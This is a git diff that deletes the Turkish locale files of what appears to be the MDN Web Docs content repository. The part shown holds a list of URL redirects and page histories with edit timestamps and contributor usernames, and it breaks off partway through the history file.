diff options
Diffstat (limited to 'files/tr')
345 files changed, 0 insertions, 63805 deletions
diff --git a/files/tr/_redirects.txt b/files/tr/_redirects.txt deleted file mode 100644 index ee25b05ce7..0000000000 --- a/files/tr/_redirects.txt +++ /dev/null @@ -1,164 +0,0 @@ -# DO NOT EDIT THIS FILE MANUALLY. -# Use the CLI instead: -# -# yarn content add-redirect <fromURL> <toURL> -# -# FROM-URL TO-URL -/tr/docs/AJAX /tr/docs/Web/Guide/AJAX -/tr/docs/Araclar /tr/docs/Tools -/tr/docs/Araclar/Browser_Console /tr/docs/Tools/Browser_Console -/tr/docs/Araclar/HataAyıklayıcı /tr/docs/Tools/Debugger -/tr/docs/Araclar/Page_Inspector /tr/docs/Tools/Page_Inspector -/tr/docs/Araclar/Performance /tr/docs/Tools/Performance -/tr/docs/Araclar/Remote_Debugging /tr/docs/Tools/Remote_Debugging -/tr/docs/Araclar/Web_Konsolu /tr/docs/Tools/Web_Console -/tr/docs/Araclar/Web_Konsolu/Bolunmus_Konsol /tr/docs/Tools/Web_Console/Split_console -/tr/docs/Araclar/Web_Konsolu/Komut_Satiri_Tercumani /tr/docs/Tools/Web_Console/The_command_line_interpreter -/tr/docs/Araclar/Web_Konsolu/Web_Konsolunu_Acmak /tr/docs/Tools/Web_Console/UI_Tour -/tr/docs/Araclar/Web_Konsolu/Zengin_Cikti /tr/docs/Tools/Web_Console/Rich_output -/tr/docs/Fennec_(Firefox_Mobile) /tr/docs/orphaned/Fennec_(Firefox_Mobile) -/tr/docs/Glossary/NYP /tr/docs/Glossary/OOP -/tr/docs/Glossary/Nesne /tr/docs/Glossary/Object -/tr/docs/Glossary/Protokol /tr/docs/Glossary/Protocol -/tr/docs/Glossary/Web_Tarayıcısı /tr/docs/Glossary/Browser -/tr/docs/HTML /tr/docs/Web/HTML -/tr/docs/HTML/Element /tr/docs/Web/HTML/Element -/tr/docs/HTML/Element/aside /tr/docs/Web/HTML/Element/aside -/tr/docs/HTML/Element/head /tr/docs/Web/HTML/Element/head -/tr/docs/HTML/Element/hgroup /tr/docs/Web/HTML/Element/hgroup -/tr/docs/HTML/Element/li /tr/docs/Web/HTML/Element/li -/tr/docs/HTML/Element/link /tr/docs/Web/HTML/Element/link -/tr/docs/HTML/Giriş /tr/docs/Learn/HTML/Introduction_to_HTML -/tr/docs/HTML/HTML5 /tr/docs/Web/Guide/HTML/HTML5 -/tr/docs/JavaScript /tr/docs/Web/JavaScript -/tr/docs/JavaScript/A_re-introduction_to_JavaScript /tr/docs/Web/JavaScript/A_re-introduction_to_JavaScript -/tr/docs/JavaScript/Guide /tr/docs/Web/JavaScript/Guide -/tr/docs/JavaScript/Guide/Ifadeler /tr/docs/Web/JavaScript/Guide/Control_flow_and_error_handling -/tr/docs/JavaScript/Reference /tr/docs/Web/JavaScript/Reference -/tr/docs/JavaScript/Reference/Global_Objects /tr/docs/Web/JavaScript/Reference/Global_Objects -/tr/docs/JavaScript/Reference/Global_Objects/Array /tr/docs/Web/JavaScript/Reference/Global_Objects/Array -/tr/docs/JavaScript/Reference/Global_Objects/Array/concat /tr/docs/Web/JavaScript/Reference/Global_Objects/Array/concat -/tr/docs/JavaScript/Reference/Global_Objects/Array/prototype /tr/docs/orphaned/Web/JavaScript/Reference/Global_Objects/Array/prototype -/tr/docs/Learn/CSS/Building_blocks/Selectors/Box_Model_Tasks /tr/docs/orphaned/Learn/CSS/Building_blocks/Selectors/Box_Model_Tasks -/tr/docs/Learn/Common_questions/Tarayıcı_geliştirici_araçları_araçları_nelerdir /tr/docs/Learn/Common_questions/What_are_browser_developer_tools -/tr/docs/MDN/Community /tr/docs/orphaned/MDN/Community -/tr/docs/MDN/Contribute/Editor /tr/docs/orphaned/MDN/Editor -/tr/docs/MDN/Contribute/Editor/Basics /tr/docs/orphaned/MDN/Editor/Basics -/tr/docs/MDN/Contribute/Howto/Editor_incelemesi_nasil_yapilir /tr/docs/orphaned/MDN/Contribute/Howto/Do_an_editorial_review -/tr/docs/MDN/Contribute/Howto/Sayfalar_nasil_olusturulur_duzenlenir /tr/docs/MDN/Contribute/Howto/Create_and_edit_pages -/tr/docs/MDN/Contribute/Tools /tr/docs/MDN/Tools -/tr/docs/MDN/Contribute/Tools/Page_watching /tr/docs/orphaned/MDN/Tools/Page_watching -/tr/docs/MDN/Editor /tr/docs/orphaned/MDN/Editor -/tr/docs/MDN/Editor/Basics /tr/docs/orphaned/MDN/Editor/Basics -/tr/docs/MDN/Feedback /tr/docs/MDN/Contribute/Feedback -/tr/docs/MDN/Getting_started /tr/docs/MDN/Contribute/Getting_started -/tr/docs/MDN/Hakkinda /tr/docs/MDN/About -/tr/docs/MDN/Kuma /tr/docs/MDN/Yari -/tr/docs/MDN/Kuma/Server_charts /tr/docs/orphaned/MDN/Kuma/Server_charts -/tr/docs/MDN/Kuma/Troubleshooting_KumaScript_errors /tr/docs/MDN/Tools/KumaScript/Troubleshooting -/tr/docs/MDN/Tools/Page_watching /tr/docs/orphaned/MDN/Tools/Page_watching -/tr/docs/MDN_onunda /tr/docs/MDN/At_ten -/tr/docs/Mozilla/Eklentiler /tr/docs/Mozilla/Add-ons -/tr/docs/Mozilla/Eklentiler/WebExtensions /tr/docs/Mozilla/Add-ons/WebExtensions -/tr/docs/Mozilla/Eklentiler/WebExtensions/Deneyiminize_web-ext_ile_başlayın /tr/docs/orphaned/Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext -/tr/docs/Mozilla/Eklentiler/WebExtensions/Eklenti_nedir /tr/docs/Mozilla/Add-ons/WebExtensions/What_are_WebExtensions -/tr/docs/Mozilla/Eklentiler/WebExtensions/Extending_the_developer_tools /tr/docs/Mozilla/Add-ons/WebExtensions/Extending_the_developer_tools -/tr/docs/Mozilla/Eklentiler/WebExtensions/user_interface /tr/docs/Mozilla/Add-ons/WebExtensions/user_interface -/tr/docs/Mozilla/Eklentiler/WebExtensions/İlk_Eklentin /tr/docs/Mozilla/Add-ons/WebExtensions/Your_first_WebExtension -/tr/docs/Oyunlar /tr/docs/Games -/tr/docs/Security /en-US/docs/Web/Security -/tr/docs/Security/MixedContent /tr/docs/Web/Security/Mixed_content -/tr/docs/Security/Zatıf_İmza_Algoritması /tr/docs/Web/Security/Weak_Signature_Algorithm -/tr/docs/Tr /tr/docs/orphaned/Tr -/tr/docs/Web/API/Tuval_Arabirimi /tr/docs/Web/API/Canvas_API -/tr/docs/Web/Bildiri /tr/docs/Web/Manifest -/tr/docs/Web/CSS/CSS_Background_and_Borders /en-US/docs/Web/CSS/CSS_Backgrounds_and_Borders -/tr/docs/Web/CSS/Sınıf_seçicileri /tr/docs/Web/CSS/Class_selectors -/tr/docs/Web/CSS/Tip_secicileri /tr/docs/Web/CSS/Type_selectors -/tr/docs/Web/CSS/box_model /tr/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model -/tr/docs/Web/CSS/marjin /tr/docs/Web/CSS/margin -/tr/docs/Web/Guide/CSS/Getting_started /tr/docs/conflicting/Learn/CSS/First_steps -/tr/docs/Web/Guide/CSS/Getting_started/Cascading_and_inheritance /tr/docs/conflicting/Learn/CSS/Building_blocks/Cascade_and_inheritance -/tr/docs/Web/Guide/CSS/Getting_started/How_CSS_works /tr/docs/conflicting/Learn/CSS/First_steps/How_CSS_works_bb137d8ec11d5e9680f32049e9a3cb26 -/tr/docs/Web/Guide/CSS/Getting_started/Why_use_CSS /tr/docs/conflicting/Learn/CSS/First_steps/How_CSS_works_64ba4331a7a5f4319c6e06b06ccdd521 -/tr/docs/Web/Guide/CSS/Getting_started/css_nedir /tr/docs/conflicting/Learn/CSS/First_steps/How_CSS_works -/tr/docs/Web/Guide/CSS/Sayaçlar /tr/docs/Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters -/tr/docs/Web/Guide/HTML /tr/docs/Learn/HTML -/tr/docs/Web/Guide/Çizgeler /tr/docs/Web/Guide/Graphics -/tr/docs/Web/Güvenlik /tr/docs/Web/Security -/tr/docs/Web/Güvenlik/Transport_Layer_Security /tr/docs/Web/Security/Transport_Layer_Security -/tr/docs/Web/HTML-Alani /tr/docs/orphaned/Web/HTML-Alani -/tr/docs/Web/HTML/Giriş /tr/docs/Learn/HTML/Introduction_to_HTML -/tr/docs/Web/HTML/HTML5 /tr/docs/Web/Guide/HTML/HTML5 -/tr/docs/Web/HTTP/Oturum /tr/docs/Web/HTTP/Session -/tr/docs/Web/HTTP/metotlar /tr/docs/Web/HTTP/Methods -/tr/docs/Web/JavaScript/Guide/Fonksiyonlar /tr/docs/Web/JavaScript/Guide/Functions -/tr/docs/Web/JavaScript/Guide/Ifadeler /tr/docs/Web/JavaScript/Guide/Control_flow_and_error_handling -/tr/docs/Web/JavaScript/Guide/Nesneler_ile_çalışmak /tr/docs/Web/JavaScript/Guide/Working_with_Objects -/tr/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype /tr/docs/orphaned/Web/JavaScript/Reference/Global_Objects/Array/prototype -/tr/docs/Web/JavaScript/Reference/Global_Objects/Boolean/prototype /tr/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Boolean -/tr/docs/Web/JavaScript/Reference/Global_Objects/Map/prototype /tr/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Map -/tr/docs/Web/JavaScript/Reference/Operatörler /tr/docs/Web/JavaScript/Reference/Operators -/tr/docs/Web/JavaScript/Reference/Operatörler/Arithmetic_Operators /tr/docs/conflicting/Web/JavaScript/Reference/Operators -/tr/docs/Web/JavaScript/Reference/Operatörler/Bitwise_Operators /tr/docs/conflicting/Web/JavaScript/Reference/Operators_3b90ea9617c66e4283e266b64ea7ae4a -/tr/docs/Web/JavaScript/Reference/Operatörler/Mantiksal_Operatorler /tr/docs/conflicting/Web/JavaScript/Reference/Operators_603c79383d36dadbe5083df806de5999 -/tr/docs/Web/JavaScript/Reference/Operatörler/function* /tr/docs/Web/JavaScript/Reference/Operators/function* -/tr/docs/Web/JavaScript/Reference/Operatörler/instanceof /tr/docs/Web/JavaScript/Reference/Operators/instanceof -/tr/docs/Web/JavaScript/Reference/Operatörler/super /tr/docs/Web/JavaScript/Reference/Operators/super -/tr/docs/Web/JavaScript/Reference/Operatörler/this /tr/docs/Web/JavaScript/Reference/Operators/this -/tr/docs/Web/JavaScript/Reference/Operatörler/typeof /tr/docs/Web/JavaScript/Reference/Operators/typeof -/tr/docs/Web/JavaScript/Veri_Yapısı /tr/docs/Web/JavaScript/Data_structures -/tr/docs/en /en-US/ -/tr/docs/Öğren /tr/docs/Learn -/tr/docs/Öğren/CSS /tr/docs/Learn/CSS -/tr/docs/Öğren/CSS/CSS_layout /tr/docs/Learn/CSS/CSS_layout -/tr/docs/Öğren/CSS/CSS_layout/Introduction /tr/docs/Learn/CSS/CSS_layout/Introduction -/tr/docs/Öğren/CSS/CSS_yapi_taslari /tr/docs/Learn/CSS/Building_blocks -/tr/docs/Öğren/CSS/CSS_yapi_taslari/Backgrounds_and_borders /tr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders -/tr/docs/Öğren/CSS/CSS_yapi_taslari/Cascade_and_inheritance /tr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance -/tr/docs/Öğren/CSS/CSS_yapi_taslari/Debugging_CSS /tr/docs/Learn/CSS/Building_blocks/Debugging_CSS -/tr/docs/Öğren/CSS/CSS_yapi_taslari/Handling_different_text_directions /tr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions -/tr/docs/Öğren/CSS/CSS_yapi_taslari/Images_media_form_elements /tr/docs/Learn/CSS/Building_blocks/Images_media_form_elements -/tr/docs/Öğren/CSS/CSS_yapi_taslari/Organizing /tr/docs/Learn/CSS/Building_blocks/Organizing -/tr/docs/Öğren/CSS/CSS_yapi_taslari/Overflow_Tasks /tr/docs/Learn/CSS/Building_blocks/Overflow_Tasks -/tr/docs/Öğren/CSS/CSS_yapi_taslari/Overflowing_content /tr/docs/Learn/CSS/Building_blocks/Overflowing_content -/tr/docs/Öğren/CSS/CSS_yapi_taslari/Selectors /tr/docs/Web/CSS/CSS_Selectors -/tr/docs/Öğren/CSS/CSS_yapi_taslari/Sizing_items_in_CSS /tr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS -/tr/docs/Öğren/CSS/CSS_yapi_taslari/Sizing_tasks /tr/docs/Learn/CSS/Building_blocks/Sizing_tasks -/tr/docs/Öğren/CSS/CSS_yapi_taslari/Styling_tables /tr/docs/Learn/CSS/Building_blocks/Styling_tables -/tr/docs/Öğren/CSS/CSS_yapi_taslari/Test_your_skills_backgrounds_and_borders /tr/docs/Learn/CSS/Building_blocks/Test_your_skills_backgrounds_and_borders -/tr/docs/Öğren/CSS/CSS_yapi_taslari/The_box_model /tr/docs/Learn/CSS/Building_blocks/The_box_model -/tr/docs/Öğren/CSS/CSS_yapi_taslari/Values_and_units /tr/docs/Learn/CSS/Building_blocks/Values_and_units -/tr/docs/Öğren/CSS/CSS_yapi_taslari/Values_tasks /tr/docs/Learn/CSS/Building_blocks/Values_tasks -/tr/docs/Öğren/CSS/CSS_yapi_taslari/Writing_Modes_Tasks /tr/docs/Learn/CSS/Building_blocks/Writing_Modes_Tasks -/tr/docs/Öğren/CSS/Ilk_adimlar /tr/docs/Learn/CSS/First_steps -/tr/docs/Öğren/CSS/Ilk_adimlar/CSS_Nedir /tr/docs/Learn/CSS/First_steps/What_is_CSS -/tr/docs/Öğren/CSS/Ilk_adimlar/CSS_nasil_calisir /tr/docs/Learn/CSS/First_steps/How_CSS_works -/tr/docs/Öğren/CSS/Ilk_adimlar/Getting_started /tr/docs/Learn/CSS/First_steps/Getting_started -/tr/docs/Öğren/CSS/Ilk_adimlar/How_CSS_is_structured /tr/docs/Learn/CSS/First_steps/How_CSS_is_structured -/tr/docs/Öğren/CSS/Ilk_adimlar/Ogrendiklerinizi_Uygulayın /tr/docs/Learn/CSS/First_steps/Using_your_new_knowledge -/tr/docs/Öğren/CSS/Styling_text /tr/docs/Learn/CSS/Styling_text -/tr/docs/Öğren/CSS/Styling_text/Fundamentals /tr/docs/Learn/CSS/Styling_text/Fundamentals -/tr/docs/Öğren/CSS/Styling_text/Styling_links /tr/docs/Learn/CSS/Styling_text/Styling_links -/tr/docs/Öğren/CSS/Styling_text/Styling_lists /tr/docs/Learn/CSS/Styling_text/Styling_lists -/tr/docs/Öğren/CSS/Styling_text/Typesetting_a_homepage /tr/docs/Learn/CSS/Styling_text/Typesetting_a_homepage -/tr/docs/Öğren/CSS/Styling_text/Web_fonts /tr/docs/Learn/CSS/Styling_text/Web_fonts -/tr/docs/Öğren/Front-end_web_developer /tr/docs/Learn/Front-end_web_developer -/tr/docs/Öğren/Getting_started_with_the_web /tr/docs/Learn/Getting_started_with_the_web -/tr/docs/Öğren/Getting_started_with_the_web/How_the_Web_works /tr/docs/Learn/Getting_started_with_the_web/How_the_Web_works -/tr/docs/Öğren/Getting_started_with_the_web/Installing_basic_software /tr/docs/Learn/Getting_started_with_the_web/Installing_basic_software -/tr/docs/Öğren/Getting_started_with_the_web/JavaScript_basics /tr/docs/Learn/Getting_started_with_the_web/JavaScript_basics -/tr/docs/Öğren/Getting_started_with_the_web/Web_siteniz_nasil_gorunecek /tr/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like -/tr/docs/Öğren/HTML /tr/docs/Learn/HTML -/tr/docs/Öğren/HTML/Introduction_to_HTML /tr/docs/Learn/HTML/Introduction_to_HTML -/tr/docs/Öğren/HTML/Introduction_to_HTML/Başlangıç /tr/docs/Learn/HTML/Introduction_to_HTML/Getting_started -/tr/docs/Öğren/JavaScript /tr/docs/Learn/JavaScript -/tr/docs/Öğren/JavaScript/First_steps /tr/docs/Learn/JavaScript/First_steps -/tr/docs/Öğren/JavaScript/First_steps/Javascripte_giris /tr/docs/Learn/JavaScript/First_steps/A_first_splash -/tr/docs/Öğren/JavaScript/Objeler /tr/docs/Learn/JavaScript/Objects -/tr/docs/Öğren/JavaScript/Objeler/Basics /tr/docs/Learn/JavaScript/Objects/Basics -/tr/docs/Öğren/Server-side /tr/docs/Learn/Server-side -/tr/docs/Öğren/Server-side/Django /tr/docs/Learn/Server-side/Django -/tr/docs/Öğren/Server-side/Django/Authentication /tr/docs/Learn/Server-side/Django/Authentication -/tr/docs/Öğren/Server-side/Django/Sessions /tr/docs/Learn/Server-side/Django/Sessions -/tr/docs/Öğren/Server-side/Django/website_iskeleti /tr/docs/Learn/Server-side/Django/skeleton_website diff --git a/files/tr/_wikihistory.json b/files/tr/_wikihistory.json deleted file mode 100644 index 0209611e67..0000000000 --- a/files/tr/_wikihistory.json +++ /dev/null @@ -1,2387 +0,0 @@ -{ - "Games": { - "modified": "2020-09-14T16:54:45.005Z", - "contributors": [ - "serdarates", - "Berkay-Cubuk", - "SphinxKnight", - "KayraG" - ] - }, - "Games/Tutorials": { - "modified": "2020-04-21T07:39:09.746Z" - }, - "Games/Tutorials/2D_Breakout_game_pure_JavaScript": { - "modified": "2020-04-21T07:39:10.609Z", - "contributors": [ - "Charizard17" - ] - }, - "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Create_the_Canvas_and_draw_on_it": { - "modified": "2020-09-01T03:07:45.110Z", - "contributors": [ - "SphinxKnight", - "gmomar992" - ] - }, - "Glossary": { - "modified": "2020-10-07T11:14:38.923Z", - "contributors": [ - "peterbe", - "SphinxKnight", - "wbamberg", - "sebastien-bartoli" - ] - }, - "Glossary/AJAX": { - "modified": "2019-03-23T22:14:02.259Z", - "contributors": [ - "scriptype" - ] - }, - "Glossary/Browser": { - "modified": "2019-03-23T22:03:49.780Z", - "contributors": [ - "ahmetkaba" - ] - }, - "Glossary/CSS": { - "modified": "2020-10-22T17:16:32.534Z", - "contributors": [ - "hakantr" - ] - }, - "Glossary/Callback_function": { - "modified": "2019-03-18T21:21:19.292Z", - "contributors": [ - "onurozkir" - ] - }, - "Glossary/DOM": { - "modified": "2019-03-23T22:05:30.234Z", - "contributors": [ - "alper.pekdemir" - ] - }, - "Glossary/HTML": { - "modified": "2019-03-23T22:05:33.584Z", - "contributors": [ - "alper.pekdemir" - ] - }, - "Glossary/HTTP": { - "modified": "2019-07-09T17:10:21.063Z", - "contributors": [ - "gulan_gurman" - ] - }, - "Glossary/JavaScript": { - "modified": "2019-03-23T22:05:32.635Z", - "contributors": [ - "alper.pekdemir" - ] - }, - "Glossary/MVC": { - "modified": "2020-11-15T07:04:03.843Z", - "contributors": [ - "smskmrym" - ] - }, - "Glossary/Mixin": { - "modified": "2020-11-16T14:23:50.938Z", - "contributors": [ - "Ali-20" - ] - }, - "Glossary/Mutable": { - "modified": "2019-08-29T03:52:51.702Z", - "contributors": [ - "HuseyinTurkmenoglu" - ] - }, - "Glossary/OOP": { - "modified": "2019-03-23T22:03:49.060Z", - "contributors": [ - "ahmetkaba" - ] - }, - "Glossary/Object": { - "modified": "2019-03-23T22:03:39.438Z", - "contributors": [ - "ahmetkaba" - ] - }, - "Glossary/Protocol": { - "modified": "2019-03-23T22:16:10.981Z", - "contributors": [ - "erolkeskin" - ] - }, - "Glossary/Ruby": { - "modified": "2019-03-23T22:13:08.594Z", - "contributors": [ - "ndrx42" - ] - }, - "Glossary/Statement": { - "modified": "2020-12-04T01:02:15.326Z", - "contributors": [ - "denizkaya1910" - ] - }, - "Glossary/Vendor_Prefix": { - "modified": "2019-03-18T21:18:21.865Z", - "contributors": [ - "cortix" - ] - }, - "Learn": { - "modified": "2020-12-12T02:35:21.255Z", - "contributors": [ - "YasinCelebi", - "samrain", - "hakantr", - "zktosu", - "SphinxKnight", - "erhan35", - "kaan35", - "svarlamov", - "engineermetin", - "nahitheper", - "askn" - ] - }, - "Learn/CSS": { - "modified": "2020-10-26T19:42:09.137Z", - "contributors": [ - "hakantr", - "nihalokur", - "Berkay-Cubuk", - "raufsamestone", - "pasalog" - ] - }, - "Learn/CSS/Building_blocks": { - "modified": "2020-10-26T20:12:35.187Z", - "contributors": [ - "hakantr" - ] - }, - "Learn/CSS/Building_blocks/Backgrounds_and_borders": { - "modified": "2020-10-27T11:49:58.173Z", - "contributors": [ - "hakantr" - ] - }, - "Learn/CSS/Building_blocks/Cascade_and_inheritance": { - "modified": "2020-10-26T19:35:27.880Z", - "contributors": [ - "hakantr" - ] - }, - "Learn/CSS/Building_blocks/Debugging_CSS": { - "modified": "2020-11-03T17:03:37.975Z", - "contributors": [ - "hakantr" - ] - }, - "Learn/CSS/Building_blocks/Handling_different_text_directions": { - "modified": "2020-10-28T17:43:47.416Z", - "contributors": [ - "hakantr" - ] - }, - "Learn/CSS/Building_blocks/Images_media_form_elements": { - "modified": "2020-10-31T13:09:45.996Z", - "contributors": [ - "hakantr" - ] - }, - "Learn/CSS/Building_blocks/Organizing": { - "modified": "2020-11-09T10:35:55.540Z", - "contributors": [ - "hakantr" - ] - }, - "Learn/CSS/Building_blocks/Overflow_Tasks": { - "modified": "2020-10-19T10:29:26.404Z", - "contributors": [ - "hakantr" - ] - }, - "Learn/CSS/Building_blocks/Overflowing_content": { - "modified": "2020-10-31T10:11:56.872Z", - "contributors": [ - "hakantr" - ] - }, - "Learn/CSS/Building_blocks/Selectors": { - "modified": "2020-10-26T18:19:03.862Z", - "contributors": [ - "hakantr", - "chrisdavidmills" - ] - }, - "Learn/CSS/Building_blocks/Selectors/Attribute_selectors": { - "modified": "2020-10-26T19:31:19.164Z", - "contributors": [ - "hakantr" - ] - }, - "Learn/CSS/Building_blocks/Selectors/Combinators": { - "modified": "2020-10-26T18:41:35.670Z", - "contributors": [ - "hakantr" - ] - }, - "Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements": { - "modified": "2020-10-26T19:28:28.981Z", - "contributors": [ - "hakantr" - ] - }, - "Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors": { - "modified": "2020-10-26T19:34:06.989Z", - "contributors": [ - "hakantr" - ] - }, - "Learn/CSS/Building_blocks/Sizing_items_in_CSS": { - "modified": "2020-10-31T10:34:38.784Z", - "contributors": [ - "hakantr" - ] - }, - "Learn/CSS/Building_blocks/Sizing_tasks": { - "modified": "2020-10-22T09:21:20.303Z", - "contributors": [ - "hakantr" - ] - }, - "Learn/CSS/Building_blocks/Styling_tables": { - "modified": "2020-10-31T20:13:56.766Z", - "contributors": [ - "hakantr" - ] - }, - "Learn/CSS/Building_blocks/Test_your_skills_backgrounds_and_borders": { - "modified": "2020-10-17T21:28:55.599Z", - "contributors": [ - "hakantr" - ] - }, - "Learn/CSS/Building_blocks/The_box_model": { - "modified": "2020-10-26T19:26:58.833Z", - "contributors": [ - "hakantr" - ] - }, - "Learn/CSS/Building_blocks/Values_and_units": { - "modified": "2020-10-28T18:44:28.360Z", - "contributors": [ - "hakantr" - ] - }, - "Learn/CSS/Building_blocks/Values_tasks": { - "modified": "2020-10-20T12:06:48.608Z", - "contributors": [ - "hakantr" - ] - }, - "Learn/CSS/Building_blocks/Writing_Modes_Tasks": { - "modified": "2020-10-19T06:58:07.202Z", - "contributors": [ - "hakantr" - ] - }, - "Learn/CSS/CSS_layout": { - "modified": "2020-12-09T18:21:04.587Z", - "contributors": [ - "hakantr", - "asimcanuz", - "jwhitlock", - "chrisdavidmills" - ] - }, - "Learn/CSS/CSS_layout/Introduction": { - "modified": "2020-12-09T18:22:37.810Z", - "contributors": [ - "hakantr" - ] - }, - "Learn/CSS/First_steps": { - "modified": "2020-10-26T19:46:11.774Z", - "contributors": [ - "hakantr", - "eraticoye", - "nihalokur", - "Berkay-Cubuk" - ] - }, - "Learn/CSS/First_steps/Getting_started": { - "modified": "2020-10-26T19:58:54.757Z", - "contributors": [ - "hakantr" - ] - }, - "Learn/CSS/First_steps/How_CSS_is_structured": { - "modified": "2020-10-26T20:05:43.727Z", - "contributors": [ - "hakantr" - ] - }, - "Learn/CSS/First_steps/How_CSS_works": { - "modified": "2020-10-26T20:08:14.999Z", - "contributors": [ - "hakantr" - ] - }, - "Learn/CSS/First_steps/Using_your_new_knowledge": { - "modified": "2020-10-26T20:11:11.186Z", - "contributors": [ - "hakantr" - ] - }, - "Learn/CSS/First_steps/What_is_CSS": { - "modified": "2020-10-26T19:52:10.775Z", - "contributors": [ - "hakantr" - ] - }, - "Learn/CSS/Styling_text": { - "modified": "2020-11-09T11:28:43.066Z", - "contributors": [ - "hakantr", - "burakbolek", - "nihalokur" - ] - }, - "Learn/CSS/Styling_text/Fundamentals": { - "modified": "2020-11-13T11:56:27.954Z", - "contributors": [ - "hakantr" - ] - }, - "Learn/CSS/Styling_text/Styling_links": { - "modified": "2020-12-06T15:35:17.350Z", - "contributors": [ - "hakantr" - ] - }, - "Learn/CSS/Styling_text/Styling_lists": { - "modified": "2020-12-04T11:14:25.666Z", - "contributors": [ - "hakantr" - ] - }, - "Learn/CSS/Styling_text/Typesetting_a_homepage": { - "modified": "2020-12-06T22:45:30.011Z", - "contributors": [ - "hakantr" - ] - }, - "Learn/CSS/Styling_text/Web_fonts": { - "modified": "2020-12-06T22:12:35.170Z", - "contributors": [ - "hakantr" - ] - }, - "Learn/Common_questions": { - "modified": "2020-07-16T22:35:27.247Z" - }, - "Learn/Common_questions/How_does_the_Internet_work": { - "modified": "2020-07-16T22:35:38.613Z", - "contributors": [ - "alikcan" - ] - }, - "Learn/Common_questions/What_are_browser_developer_tools": { - "modified": "2020-07-16T22:35:48.238Z", - "contributors": [ - "hasanunl" - ] - }, - "Learn/Front-end_web_developer": { - "modified": "2020-10-06T04:07:52.094Z", - "contributors": [ - "Ebu", - "selinwin7" - ] - }, - "Learn/Getting_started_with_the_web": { - "modified": "2020-11-02T12:10:16.997Z", - "contributors": [ - "GreXLin85", - "selinwin7", - "SphinxKnight", - "ozcanuner14", - "2.HALLAÇ", - "dotRaikkonen", - "kaan35", - "halimtekin", - "yilmazozisik", - "askn" - ] - }, - "Learn/Getting_started_with_the_web/How_the_Web_works": { - "modified": "2020-10-24T10:59:07.347Z", - "contributors": [ - "NightCode-luna" - ] - }, - "Learn/Getting_started_with_the_web/Installing_basic_software": { - "modified": "2020-07-16T22:34:11.586Z", - "contributors": [ - "erhan35", - "HuseyinTurkmenoglu", - "aykutkugu" - ] - }, - "Learn/Getting_started_with_the_web/JavaScript_basics": { - "modified": "2020-12-03T08:49:49.563Z", - "contributors": [ - "murerkinn", - "miracyb", - "SphinxKnight", - "umutbozdag", - "alper.pekdemir", - "omrtrk", - "gkhno", - "maydemirx", - "yigitozdemir" - ] - }, - "Learn/Getting_started_with_the_web/What_will_your_website_look_like": { - "modified": "2020-10-14T06:26:48.114Z", - "contributors": [ - "AinTisar", - "receponalan" - ] - }, - "Learn/HTML": { - "modified": "2020-08-07T19:15:04.875Z", - "contributors": [ - "bambinam", - "msyx", - "tufan2005", - "jwhitlock", - "chrisdavidmills" - ] - }, - "Learn/HTML/Introduction_to_HTML": { - "modified": "2020-11-19T16:35:06.616Z", - "contributors": [ - "burakizmirli252", - "eraticoye", - "erhan35", - "kaan35", - "ebubekirtrkr", - "jwhitlock", - "irfanevrens" - ] - }, - "Learn/HTML/Introduction_to_HTML/Getting_started": { - "modified": "2020-07-16T22:23:08.179Z", - "contributors": [ - "peterbe", - "tudecem" - ] - }, - "Learn/JavaScript": { - "modified": "2020-12-13T14:50:04.266Z", - "contributors": [ - "gullusadik", - "pasalog", - "enesanbar" - ] - }, - "Learn/JavaScript/First_steps": { - "modified": "2020-07-16T22:29:55.523Z", - "contributors": [ - "busines.plan.16" - ] - }, - "Learn/JavaScript/First_steps/A_first_splash": { - "modified": "2020-08-31T10:02:41.505Z", - "contributors": [ - "aydgn" - ] - }, - "Learn/JavaScript/Objects": { - "modified": "2020-07-16T22:31:53.513Z", - "contributors": [ - "berabulut", - "dotRaikkonen", - "truefalseman", - "volkansag", - "enginkartal" - ] - }, - "Learn/JavaScript/Objects/Basics": { - "modified": "2020-07-16T22:32:02.139Z", - "contributors": [ - "ArinSoftware", - "AtlasCan" - ] - }, - "Learn/Server-side": { - "modified": "2020-07-16T22:36:02.262Z", - "contributors": [ - "jwhitlock", - "chrisdavidmills" - ] - }, - "Learn/Server-side/Django": { - "modified": "2020-07-16T22:36:35.695Z", - "contributors": [ - "jwhitlock", - "chrisdavidmills" - ] - }, - "Learn/Server-side/Django/Authentication": { - "modified": "2020-07-16T22:37:24.649Z", - "contributors": [ - "safaariman", - "icanates" - ] - }, - "Learn/Server-side/Django/Sessions": { - "modified": "2020-07-16T22:37:28.248Z", - "contributors": [ - "ozgurturkiye", - "icanates" - ] - }, - "Learn/Server-side/Django/skeleton_website": { - "modified": "2020-07-16T22:36:54.756Z", - "contributors": [ - "hakanergul" - ] - }, - "MDN": { - "modified": "2020-02-19T17:59:32.812Z", - "contributors": [ - "jswisher", - "SphinxKnight", - "wbamberg", - "ahmetkilinc", - "umutozdemir97", - "jwhitlock", - "ozkanoron", - "Jeremie", - "DavidWalsh" - ] - }, - "MDN/About": { - "modified": "2020-05-30T08:22:38.074Z", - "contributors": [ - "Berkay-Cubuk" - ] - }, - "MDN/At_ten": { - "modified": "2019-03-23T22:48:44.324Z", - "contributors": [ - "hunkarticaret", - "futuredayv" - ] - }, - "MDN/Contribute": { - "modified": "2019-03-23T23:12:59.753Z", - "contributors": [ - "wbamberg", - "physicalgorithm", - "Sheppy" - ] - }, - "MDN/Contribute/Feedback": { - "modified": "2020-09-30T17:52:43.938Z", - "contributors": [ - "chrisdavidmills", - "jswisher", - "erhan35", - "SphinxKnight", - "ozgurturkiye", - "aceylan", - "wbamberg", - "nadiraltinbas", - "pasalog" - ] - }, - "MDN/Contribute/Getting_started": { - "modified": "2020-09-30T17:16:29.228Z", - "contributors": [ - "chrisdavidmills", - "ebubekirtrkr", - "wbamberg", - "buraksakalli", - "eih", 